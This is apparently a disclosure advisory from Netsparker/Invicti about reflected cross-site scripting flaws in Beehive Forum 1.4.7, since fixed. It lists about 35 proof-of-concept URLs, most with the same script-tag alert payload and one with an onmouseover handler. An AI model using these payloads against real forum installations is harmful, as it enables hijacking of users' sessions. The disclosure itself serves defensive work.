Multiple Reflected Cross-site Scripting Vulnerabilities in Beehive Forum 1.4.7
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Beehive Forum
Affected Software: Beehive Forum
Affected Versions: 1.4.7
Vendor Homepage: https://www.beehiveforum.co.uk
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-013
Technical Details
Proof of Concept URLs for XSS vulnerabilities in Beehive Forum;
URL: /beehive/search.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/threads_rss.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/create_poll.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/discussion.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/display_emoticons.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/email.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/folder_options.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/forgot_pw.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/forums.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/index.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lforums.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/links.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/links_add.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lmessages.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/logon.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lpm.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lpost.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lregister.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lsearch.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/lthread_list.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/messages.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/nav.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/pm.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/post.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/start.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/start_main.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/thread_list.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/thread_options.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/user.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/user_font.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/user_profile.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/user_rel.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/user_stats.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/visitor_log.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
URL: /beehive/llogon.php/"onmouseover="alert(0x000844)"
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
21 Jul 2016 – Issue reported
24 Aug 2016 – Issue fixed
Solution
Patch released by Beehive Forum and announced here.
Credits & Authors
These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.
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